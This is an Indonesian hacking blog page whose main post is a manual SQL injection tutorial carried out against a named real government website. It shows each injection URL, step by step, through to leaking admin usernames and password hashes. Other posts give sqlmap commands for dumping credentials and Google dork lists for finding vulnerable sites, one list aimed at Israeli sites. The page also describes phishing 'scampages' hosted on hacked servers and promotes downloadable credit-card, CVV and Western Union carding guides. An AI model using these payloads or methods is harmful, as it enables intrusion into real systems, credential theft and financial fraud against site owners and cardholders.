Manual SQL Injection Tutorial

SQL Injection merupakan sebuah teknik hacking dimana seorang penyerang dapat memasukkan perintah-perintah SQL melalui url untuk dieksekusi oleh database. Penyebab utama dari celah ini adalah variable yang kurang di filter :

id=$id;……. > Got Error

Hal pertama yang harus kita lakukan adalah mengetahui apakah situs tersebut terkena celah SQL Injection atau tidak, yaitu dengan membuat sebuah error dengan menambahkan karakter ‘ setelah atau sesudah angka pada url.

Contoh : http://situstarget.com/news.php?id=1’ http://situstarget.com/news.php?id=’1

Pertama kita cari dulu website yang memiliki celah SQL Injection. silahkan sobat cari target di google dengan menggunakan dork.

Dork SQLi :


inurl:azerty.php?id= , inurl:bouquin.php?id= , inurl:lien.php?id= , inurl:clavier.php?id= inurl:index.php?id=inurl:trainers.php?id=inurl:buy.php?category=inurl:article.php?ID=inurl:play_old.php?id=inurl:games.php?id=inurl:iniziativa.php?in=inurl:curriculum.php?id=inurl:labels.php?id=inurl:story.php?id=inurl:look.php?ID=inurl:newsone.php?id=inurl:aboutbook.php?id=inurl:material.php?id=inurl:opinions.php?id=inurl:announce.php?id=
Disini saya sudah menemukan targetnya : http://diklat.lampungprov.go.id/more.php?id=1




Kemudian kita akan mencari dan menghitung jumlah tabel yang ada pada database web tersebut. silahkan sobat gunakan perintah : order by 1 - dan seterusnya sampai terjadi error pada halaman. gunaka tanda + sebagai spasi, dan pada akhir perintah gunakan tanda --.

http://diklat.lampungprov.go.id/more.php?id=1+order+by+1-- < No Errorhttp://diklat.lampungprov.go.id/more.php?id=1+order+by+2-- < No Errorhttp://diklat.lampungprov.go.id/more.php?id=1+order+by+3-- < No Errorhttp://diklat.lampungprov.go.id/more.php?id=1+order+by+4-- < No Errorhttp://diklat.lampungprov.go.id/more.php?id=1+order+by+5-- < No Error [Terlalu banyak diSkip aja]http://diklat.lampungprov.go.id/more.php?id=1+order+by+17-- < No Error


  http://diklat.lampungprov.go.id/more.php?id=1+order+by+18-- < Error




Pada angka 18 ternyata muncul error, jadi yang kita ambil angka sebelum munculnya pesan error. itu berarti jumlah tabel pada databasenya ada 17.


Selanjutnya kita akan mencari angka tabel yang bisa kita gunakan untuk perintah2 injection pada tahap selanjutnya. Gunakan perintah union select diikuti jumlah tabel dan tanda - sebelum angka dan diakhiri dengan tanda --. contoh:

http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--




nanti muncul sebuah angka tebal, nah Diangka tersebut nantinya yang akan kita masukkan perintah2 selanjutnya.


Pada tahap Selanjutnya kita akan mengetahui versi database yang dipakai oleh web tersebut. gunakan perintah "version()" atau "@@version".contoh: http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,@@version,17--




Nah pada gambar kita bisa lihat versi database yang dipake adalah v.5.5.14, jadi pada versi 5 itu berberda dengan versi 4. prosesnya lebih repot pada versi 4, karena untuk melakukan perintah2 SQLi pada versi 4 kita harus menebak 1 per 1 tabel yang ada pada databasenya.

Sekarang perintah selanjutnya kita akan memunculkan nama-nama tabel yang ada pada web tersebut. gunakan perintah “group_concat(table_name)” dan menambahkan perintah “from+information_schema.tables+where+table_schema=database()" sesudah angka terakhir, dan diakhiri dengan tanda --.contoh :http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(table_name),17+from+information_schema.tables+where+table_schema=database()--



Disitu kita dapatkan nama-nama tabelnya sperti : tbadmin, tbbukutamu, tbcontent, tbcounter, tbdivisi, tbgolongan, tbjadwal, dll. Langkah selanjutnya kita akan mencari username dan password admin pada tabel tbadmin. Perlu diketahui bahwa tidak semua nama tabel pada setiap web itu sama, jadi untuk mencari tabel admin, silahkan sobat kira-kira saja dimana tabel yang sobat curigai tempat username dan password admin berada. Kemudian untuk mengeluarkan isi yang ada pada kolom tbadmin gunakan perintah berikut: “group_concat(columns_name) ” dan perintah “from+information_schema.columns+where+table_name=CHAR()" sesudah angka terakhir, dan diakhiri dengan tanda --. Pada tahap ini nama tabel tbadmin harus dikonversi dulu ke bentuk decimal :) silahkan sobat gunakan toolsnya DISINI. kemudian hasil konversi tbadmin adalah 116 98 97 100 109 105 110 lalu kita masukkan ke CHAR(116, 98, 97, 100, 109, 105, 110) dan pisahkan dengan koma. jadi perintahnya seperti berikut:

http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(column_name),17+from+information_schema.columns+where+table_name=CHAR(116, 98, 97, 100, 109, 105, 110)--



Nah disitu muncul kolom username, pswd, status. lalu langkah selanjutnya kita akan melihat isi dari kolom kolom yang muncul tadi dengan menambah perintah group_concat(username,0x3a,pswd,0x3a,status) . jangan lupa di setiap sela2 tambahkan kode 0x3a yg merupakan hasil konversi hexa dari tanda titik dua ( : ). lalu tambahkan perintah  +from+tbadmin--, tbadmin merupakan tabel yang kita dapatkan tadi.

http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(username,0x3a,pswd,0x3a,status),17+from+tbadmin--



Nah kan udah keliatan username dan passwordnya.. :) dari gambar muncul data :user1:8dfad4f7356a2e403c900b2944990ddc:1,user:8dfad4f7356a2e403c900b2944990ddc:0 selanjutnya sobat tinggal mengcrack password yang berbentuk md5 hash tersebut

Read More

Cara Mengetahui Nomor Kode Rahasia CVV dari Kartu Kredit

CVC atau Card Verification Code Adalah tiga digit angka terakhir yang terdapat pada bagian belakang nomer kartu kredit. Tidak ada perbedaan berarti antara CVC dan CVV (Card Verification Value). CVC Adalah sebutan yang dipakai Master Card Sedang CVV digunakan oleh Visa. Penggunaan fitur keamaan ini dimulai pada 1 Januari 1997 Oleh Master Card dan diikuti oleh Visa pada tahun 2001. Namun baru pada bulan Oktober 2003, penggunaan CVV/CVC menjadi standar di seluruh pembayaran elektronik dan online. Dan CVC dan CVV berfungsi untuk melindungi penggunaan kartu kredit Anda oleh orang lain dalam transaksi online

Saya disini akan  memberkan sedikit cara untuk memecahkan CVV/CVC yang belum diketahui serta memberikan cara mengetahui Kartu Kredit masih Valid atau tidak Valid, tutorialnya bisa didownload dibawah ini.

Read More

Deface Metode SQLmap OS windows

Sqlmap yaitu salah satu tool untuk melakukan penetrasi pada suatu website dengan teknik SQL Injection. Tool ini bersifat free, mungkin pengguna windows sudah kenal dengan havij, sama fungsinya seperti havij bedanya tool ini jalan di console sedangkan havij dengan GUI nya yang tinggal klak-klik saja untuk melakukan penetrasi.

Sebelum mulai membaca disini saya akan menjelaskan sedikit perintah CMD yang akan di gunakan pada tutorial kali ini :

1. -u   yaitu untuk menunjukkan URL target.
2. --dbs   yaitu untuk membuka DATABASE target.
3. --tables   yaitu untuk membuka TABEL pada DATA BASE target.
4. -D   yaitu penunjukkan pada DATA BASE target
5. --columns   yaitu untuk membuka COLUMNS pada TABEL data base
6. -T   yaitu penunjukkan pada TABEL data base
7. --dump   yaitu untuk membuka DATA pada COLUMN yang terdapat pada TABEL database.
8. -C   yaitu menunjukkan pada COLUMNS tabel

Bahan-Bahan :

1. python ( download sesuai bit windows kalian ) kalo saya versi 27
2. SQLmap ( banyak di google )
3. Command Prompt

Langkah-Langkah :

• install python di drive C: dengan nama folder python27 ( ini default nya begini )
• setelah terinstall, lalu extract Folder SQLmap ke dalam folder python27 tadi .. ( taruh di Drive C: folder python27 )
• lalu buka command prompt, pasti udah taulah buka CMD gimana :v
• untuk memanggil python nya .. anda harus berada dalam C:\ ketik perintah : 

  cd python27 (enter) 

• setelah berada dalam C:\python27. Lalu tinggal memanggil SQLmapnya. tadikan kita taruh folder SQLmap nya di python27..

jadi perintahnya ketik :

cd sqlmap (enter)

maka akan begini C:\python27\sqlmap (berarti sukses,tinggal cari target pakai dork SQL)

• disini kita anggap anda sudah punya TARGET yang Mysqlnya error ..

ketik perintah :

       sqlmap.py -u http://target.com/php?id=32 lalu enter! tunggu sampai selesai..

• lalu setelah mendapat informasi dari target (terkoneksi dengan target) tinggal kita cari DATABASE nya..

ketik :

      sqlmap.py --dbs -u http://target.com/php?id=32 lalu enter!

tunggu hingga muncul data base nya. biasanya nama data base nya diatas tulisan information_schema

• setelah itu setelah kita tau DATABASE nya tinggal kita lihat isi TABELnya

ketik perintah :

     sqlmap.py --tables -D (nama data base target) -u http://target.com/php?id=32

tunggu hingga selesai dan muncul TABELnya,

• setelah anda tahu ada TABEL apa aja disitu, yang kita cari adalah ADMIN, atau USERADMIN dll. yang berhubungan admin. yang kita lakukan selanjutnya adalah mencari COLUMN pada tabel,

contoh disini TABEL yang kita ambil yaitu ADMIN .

ketik perintah :

   sqlmap.py --columns -T ADMIN -D (nama data base target) -u http://target.com/php?id=32

tunggu hingga muncul COLUMN pada TABEL ADMIN tadi..

• setelah muncul COLUMN nya , misalkan disitu ada COLUMN , username dan password

selanjut nya kita DUMP COLUMN username dan password tersebut.

ketik perintah :

  sqlmap.py --dump -C username,password -T ADMIN -D (nama data base target) -u http://target.com/php?id=32

gunakan tanda KOMA tanpa SPASI untuk menyekatnya seperti diatas tadi kan :

username,password

• maka akan muncul username dan password

kalo password nya belum di hash , kemudian hash password

sekian dan terima kasih.
maaf cuma segini yang aku bisa sampaikan.

NOTE : PENULISAN HARUS BENAR DAN SESUAI YANG ADA PADA COMMAND PROMPT

Read More

Teknik Scampage Para Carder

Biasanya para carder mempunyai banyak ide untuk mendapatkan uang, dengan berbagai cara mereka lakukan salah satu nya teknik scampage.

Scampage adalah sebuah source yg berbasis html ato php yg berbasis web yang didesign khusus sehingga mirip aslinya seperti page pada bank Bank of America, Paypal dll, dan dengan mudah para carder membuat page tiruan yang mirip seperti bank.

Cara mereka melakukan teknik scampage yaitu dengan menyediakan webhosting untuk dipasang source phpmailer dan scampage tersebut yg mirip contoh "bank of america" dengan mengupload source ber extensi php.

Ada berbagai cara teknik dilakukan carder untuk mendapatkan webhosting. dengan membeli webhosting melalui carding, dan juga menggunakan hacked host. Para carder biasanya memiliki kemampuan hacking underground sehingga memungkinkan melancarkan aksinya karena dengan ilmu hacking yg mereka punya dapat mendukung dan mempercepat proses mendapatkan data data yang mereka inginkan.

Seperti biasanya para carder mencari suatu kelemahan bugs pada sebuah ****ite, setelah mereka mendapatkan akses di ****ite hasil hack tersebut, para carder memanfaatkan hosting web tersebut untuk menjadi tempat phpmailer yg gunanya melakukan spam ke email email korban.

Langkah Langkahnya
Langkah berikutnya setelah carder sukses mengupload/menempatkan file phpmailer yg disembunyikan diserver target hasil hacking, contoh To view links or images in this forum your post count must be 20 or greater. You currently have 0 posts. 1.php ada source/file phpmailer

Dengan memberi alamat email persis seperti target : Bank, PayPal dll
pada Bank contoh Bank of America, mereka biasanya menggunakan email mirip bank of america : To view links or images in this forum your post count must be 20 or greater. You currently have 0 posts. dan pada subject mereka menggunakan kata kata ato kepala surat yg mempengaruhi target seperti : Bank Of America Security, dan nama pengirim juga persis seperti bank of america <----

Pada isi surat ato badan email mereka merancang page tersebut seolah olah bahwa memang benar dari Bank of America tersebut sehingga membuat si target terkecoh. si target tidak tau bahwa dalam page tersebut terdapat link scampage si carder itu yg terpasang di hacked host carder tersebut. sehingga target mengklik link tersebut sehingga masuk halaman scampage carder yg diharuskan mengisi data target berupa full info dan creditcard beserta login password bank atopun paypal, dan otomatis data tersebut akan masuk ke email si carder.

Read More

TEKNIK HACKING DENGAN CMD

Jangan keliru dengan judulnya :D , yang saya maksud di sini yaitu pemanfaatan cmd untuk membantu Hacker melakukan aksinya. Berikut beberapa perintah cmd yang sering digunakan oleh hacker:

1.       Ping
Perintah ping biasanya digunakan untuk mengetahui ip address target, atau bisa digunakan untuk mengecek apakah koneksi ke target berhasil atau tidak.
Untuk menjalankan ping, ketik aja “ping target”

2.       Ping –t
Perintah ini biasanya digunakan untuk melakukan DDOS ke target. Perintahnya “ping target –t”. Perintah ini memungkinkan kita mengirimkan paket secara terus menerus. Untuk menghentikannya, tekan CTRL+C.

3.       Tracert
Digunakan untuk mencari jalur/router yang dilewati paket yang dikirim ke target. Perintahnya “tracert target”

4.       Telnet
telnet berguna untuk masuk ke sistem, yang menjalankan service telnet. Untuk menggunakan telnet di windows kita harus menginstal dulu telnet client di windows. Untuk menggunakan telnet ketikkan “telnet target”

 

5.       FTP
Sama seperti Telnet, tapi FTP biasanya untuk upload dan download file, dll. FTP dan telnet server menjadi sasaran empuk jika pengamanannya lemah.

 

6.       Net View
Ketik net view kalo terkoneksi jaringan, nanti kelihatan siapa2 yang terkoneksi ke jaringan.

7.       Masih banyak lagi yang digunakan, untuk saat ini cukup itu dulu.


Tunggu Sampai Artikel Selanjutnya oke ;)

Read More

Tutorial Carding

Sebelumnya pasti sudah pada tahukan pengertian dari carding itu sendiri ? Bagi yang belum tahu saya akan sedikit memperjelas dan memberitahu terlebih dahulu pengertian atau definisi dari carding itu.

Apasih Carding itu? Carding adalah suatu kegiatan penyalahgunaan data pada kartu kredit online maupun kartu kredit online yang biasa dgunakan oleh carder (sang pelaku carding) yang sangat tak bertanggung jawab untuk berbelanja secara online dengan memakai kartu kredit yang dimiliki oleh orang lain dengan cara yang ilegal. Sebetulnya Cara melakukan carding lumayan mudah membuat teknik ini kerab ditemui di tahun 2001 hingga sekarang ini. Seseorang pelaku ini (pelaku carding/carder) tak memerlukan mencuri sebuah kartu kredit yang dimiliki orang lain tersebut untuk dipakai di dalam melakukan pembayaran di internet. Suatu pembayaran atau transaksi kartu kredit di internet hanya dilakukan dengan cara menginput suatu nomor kartu kredit beserta dengan password atau nomor rahasianya yang seringkali berasal dari 3 atau 4 digit di belakang kartu kredit tersebut. Sudah sangat jelas bahwasannya di Peraturan UU ITE Yang dibuat oleh keamanan cyber menyatakan bahwa tindakan mencuri dan merusak sangat dilarang dan akan dihukum sampai kepada hukuman pidana penjara. Akan tetapi masih saja ada oknum-oknum yang melakukan carding untuk mencari keuntungan sendiri, Di jejaring sosial sendiri juga sudah banyak para carder (Pelaku Carding) yang memperjualbelikan kartu kredit hasil cardingan tersebut. Sebaiknya anda jadikan tutorial dan cara yang saya berikan ini menjadi pelajaran semata dan bukan untuk dipraktekkan, Walau bagaimanapun tindakan carding ini sangat amat merugikan untuk si korban yang kartu kredit nya anda retas. Saya memberikan tutorial ini hanya untuk pembelajaran semata bukan untuk merusak, segala tindakan perusakan bukan tanggung jawab saya melainkan tanggung jawab diri anda sendiri.

Lebih lanjutnya download tutorial Carding Book For Newbie

Read More

Dork SQL Injection Website Israel

Sekarang saya akan share tentang SQL Injection Dorks Dari Website Israel. Sedikit penjelasan, SQL Injection adalah serangan yang memanfaatkan kelalaian dari website yang mengijinkan user untuk menginputkan data tertentu tanpa melakukan filter terhadap malicious character. Inputan tersebut biasanya di masukan pada box search atau bagian-bagian tertentu dari website yang berinteraksi dengan database SQL dari situs tersebut. Perintah yang dimasukan para attacker biasanya adalah sebuah data yang mengandung link tertentu yang mengarahkan para korban ke website khusus yang digunakan para attacker untuk mengambil data pribadi korban.
Untuk menghindari link berbahaya dari website yang telah terinfeksi
serangan SQL injection, Anda dapat menggunakan aplikasi tambahan seperti NoScript yang merupakan Add-ons untuk aplikasi web browser Firefox. Meskipun tidak terlalu sempurna, setidaknya Anda dapat mengurangi kemungkinan Anda menjadi korban. Berikut ini adalah contoh SQL Injection Dorks Dari Website Israel

inurl:group_concat username 0x3a PASSWORD from robot
inurl:group_concat username 0x3a PASSWORD from pirates
inurl:group_concat username 0x3a PASSWORD from obama
inurl:group_concat username 0x3a PASSWORD from shadow
inurl:group_concat username 0x3a PASSWORD from khan
inurl:group_concat username 0x3a PASSWORD from paul
inurl:group_concat username 0x3a PASSWORD from pakistan
inurl:group_concat username 0x3a PASSWORD from hacker

inurl:group_concat username 0x3a PASSWORD from users
inurl:group_concat username 0x3a PASSWORD from adm
inurl:group_concat username 0x3a PASSWORD from admin
inurl:group_concat username 0x3a PASSWORD from user
inurl:concat username 0x3a password from sysibm.sysdummy1
inurl:concat username 0x3a password from israel
inurl:concat username 0x3a password from mr.bean
inurl:concat username 0x3a password from sysuser
inurl:concat username 0x3a password from sysadmin
inurl:/MyBB/Upload/inc/
inurl:db_mysql.php
inurl:sql.php?table=wp_users
inurl:sql.php?table=group
inurl:sql.php?table=phpMyAdmin
inurl:sql.php?table=users
inurl:sql.php?table=login
inurl:/phpMyAdmin/sql.php
inurl:sql.php?table=customer
inurl:sql.php?table=member
inurl:sql.php?table=account
inurl:sql.php?table=admin
inurl:sql.php?table=tblwhoislog
inurl:/usr/local/apache/htdocs
inurl:sql.php?table=jos_users
inurl:sql.php?table=mybb_users
inurl:sql.php?table=log
inurl:sql.php?table=pass
inurl:sql.php?table=information_schema
inurl:sql.php?table=proxies_priv
inurl:sql.php?table=mysql.user
inurl:sql.php?table=collection
inurl:sql.php?table=loginlog
inurl:sql.php?table=menu
inurl:sql.php?table=setting
inurl:sql.php?table=phpbb_users
inurl:/phpmyadmin/sql.php?db=mysql&sql_query=
inurl:union+select+filetype:asp
inurl:union+select+filetype:php
inurl:union+select+filetype:cfm

intext:"error in your SQL syntax" +site:il

intext:"mysql_num_rows()" +site:il

intext:"mysql_fetch_array()" +site:il

intext:"Error Occurred While Processing Request" +site:il

intext:"Server Error in '/' Application" +site:il

intext:"Microsoft OLE DB Provider for ODBC Drivers error" +site:il

intext:"Invalid Querystring" +site:il

intext:"OLE DB Provider for ODBC" +site:il

intext:"VBScript Runtime" +site:il

intext:"ADODB.Field" +site:il

intext:"BOF or EOF" +site:il

intext:"ADODB.Command" +site:il

intext:"JET Database" +site:il

intext:"mysql_fetch_row()" +site:il

intext:"Syntax error" +site:il

intext:"include()" +site:il

intext:"mysql_fetch_assoc()" +site:il

intext:"mysql_fetch_object()" +site:il

intext:"mysql_numrows()" +site:il

intext:"GetArray()" +site:il

intext:"FetchRow()" +site:il

intext:"Input string was not in a correct format" +site:il

Read More

Western Union Carding

Western Union adalah jasa pengiriman uang dari dan ke berbagai negara di dunia. Western Union menggunakan tekologi elektronik yang secara online dan real time menjangkau ke berbagai pelosok / penjuru dunia termasuk Indonesia. Jutaan orang setiap tahun menggunakan WU sebagai jasa kirim / transfer uang karena aman, mudah, cepat dan terpercaya yang telah melayani banyak negara di dunia.

Berikut ini adalah sekelumit keunggulan Western Union dibandingkan dengan jasa pengiriman uang lainnya :

1.  Dalam hitungan detik uang sudah dapat diambil.
2.  Tersebar di sekitar 200 negata dan 170.000 agen.
3. Aman karena dilengkapi dengan sistem yang aman .
4. Biaya pengiriman yang terjangkau.
5.  Tidak perlu punya rekening bank atau punya domisili di suatu tempat.
6.  Pada umumnya hanya pengirim uang yang dikenakan biaya. Penerima mungkin hanya membayar ongkos bea materai.
7.  Tidak ada jumlah minimal uang yang dikirim.

Produk jasa layanan Western Union :
- Will Call : Penerima uang adalah perorangan / individu non badan usaha.
- Quick Pay : Penerima uang adalah badan usaha.
- Layanan Tambahan / Ekstra :

•  pengiriman berita
•  tes pertanyaan / sandi : test question, hanya untuk negara tertentu demi melindungi uang anda dari penipu.
• pengiriman ke alamat penerima : physical delivery, hanya untuk negara tertentu.
• notifikasi penerima lewat telepon : phone notification, hanya untuk negara tertentu.

Sekarang saya akan membagikan menthod carding Western Union/WU yang bisa di download disini

Read More